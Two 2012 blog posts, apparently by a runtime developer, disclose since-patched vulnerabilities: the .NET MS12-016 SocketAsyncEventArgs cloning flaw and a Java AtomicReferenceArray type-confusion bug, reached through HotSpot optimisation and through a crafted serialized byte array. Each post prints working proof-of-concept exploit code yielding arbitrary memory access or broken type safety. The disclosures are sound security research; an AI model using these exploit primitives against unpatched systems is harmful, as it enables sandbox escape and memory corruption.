# Monday, 27 February 2012
MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
{
  public MySocketAsyncEventArgs Clone()
  {
    return (MySocketAsyncEventArgs)MemberwiseClone();
  }
}

class Program
{
  static void Main()
  {
    GC.Collect();

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    args.Dispose();
    buf1 = null;

    GC.Collect();

    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;
    client.Send(buf);
    conn.ReceiveAsync(copy);
    System.Threading.Thread.Sleep(100);

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[1000000000]); // AccessViolation

    GC.SuppressFinalize(copy);
  }
}
Monday, 27 February 2012 08:58:32 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, 23 February 2012
February 2012 Java Critical Patch Update Vulnerability Details

Last week, Oracle released the February 2012 Oracle Java SE Critical Patch Update. This included fixes for two related problems I reported to them on August 1, 2011. The first problem is also what inspired the post about disabling the security manager.

This is another one of those security vulnerabilities that I stumbled into without looking for it. When I was integrating OpenJDK 7, I merged some minor changes into AtomicReferenceArray and after that a couple of JSR-166 TCK tests failed. After a little investigation I found that the problematic code was:

public AtomicReferenceArray(E[] array) {
    // Visibility guaranteed by final field guarantees
    this.array = array.clone();
}

One of the tests constructs the AtomicReferenceArray by passing in an java.lang.Integer array and a subsequent store in the array would fail on IKVM.NET, because the IKVM.NET implementation of AtomicReferenceArray.set() uses the ldelema instruction to get the address of the array element so it can subsequently do a volatile store to that location. When you use the ldelema instruction the CLR will do a type check to make sure the array can safely hold values of that type and this type check failed, because the code assumed that the array is always an object array, but in this case it was a java.lang.Integer array.

At first I simply fixed this by changing the constructor back to what it previously did (always allocate a new Object array), but after some reflection I realized that this might be a security issue.

To see why this could be a security issue, you need to know that HotSpot (Server) is capable of doing some pretty amazing optimizations. What I conjectured was that HotSpot might be able to inline the constructor and subsequent get operation and then optimize away a cast operation that follows the get operation. Here's an example:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
Integer value = (Integer)ara.get(0);

HotSpot Server is able to deduce is this case that the (Integer) cast is redundant. However, what it fails to take into account is that AtomicReferenceArray uses sun.misc.Unsafe to directly access the array and this means that even though the array here is of type Integer, the AtomicReferenceArray.set() method allows you to store any reference in the array. So a slightly modified version will violate type safety:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);

Now value contains a string while being typed as Integer.

Here's a full working example (it's little bit more convoluted, because you need to coax HotSpot into fully optimizing the code):

import java.util.concurrent.atomic.*;

public class vuln
{
  int field1;
  static volatile Object obj = new vuln();
  static volatile boolean done;

  public static void main(String[] args) throws Exception
  {
    new Thread() {
      public void run() {
        try { Thread.sleep(3000); } catch (Exception _) { }
        obj = "foo";
        System.out.println("done");
        try { Thread.sleep(30); } catch (Exception _) { }
        done = true;
      }
    }.start();
    for (;;) {
      doIt();
    }
  }

  static void doIt()
  {
    AtomicReferenceArray r = new AtomicReferenceArray(new vuln[1]);
    r.set(0, obj);
    frob((vuln)r.get(0));
  }

  static void frob(vuln v) {
    if (done) {
      System.out.println(v.field1);
      v.field1 += 8;
      System.out.println("foo");
      System.exit(0);
    }
  }
}

This vulnerability was interesting to me because it required some pretty advanced HotSpot optimizations, but this also made it less of a real-world issue, because I was unable to get HotSpot Client VM to do these optimizations, so a browser running Java was not likely to be vulnerable. However, while I was preparing to report this to Oracle it occurred to me that there was a much bigger security vulnerability that had been lingering in AtomicReferenceArray since it was first introduced in Java 5. By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.

Here's an example of that:

import java.io.*;
import java.util.concurrent.atomic.*;

class Union1 { }
class Union2 { }

public class test
{
  static byte[] buf = new byte[] {
    -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
    46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
    0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
    -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
    114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
    114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
    105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
    -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
    0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
    99, 116, 59, 120, 112, 113, 0, 126, 0, 3
  };

  public static void main(String[] args) throws Throwable
  {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
    Object[] arr = (Object[])ois.readObject();
    Union1[] u1 = (Union1[])arr[0];
    AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
    ara.set(0, new Union2());
    System.out.println(u1[0]);
  }
}
Thursday, 23 February 2012 13:45:55 (W. Europe Standard Time, UTC+01:00)  #    Comments [5]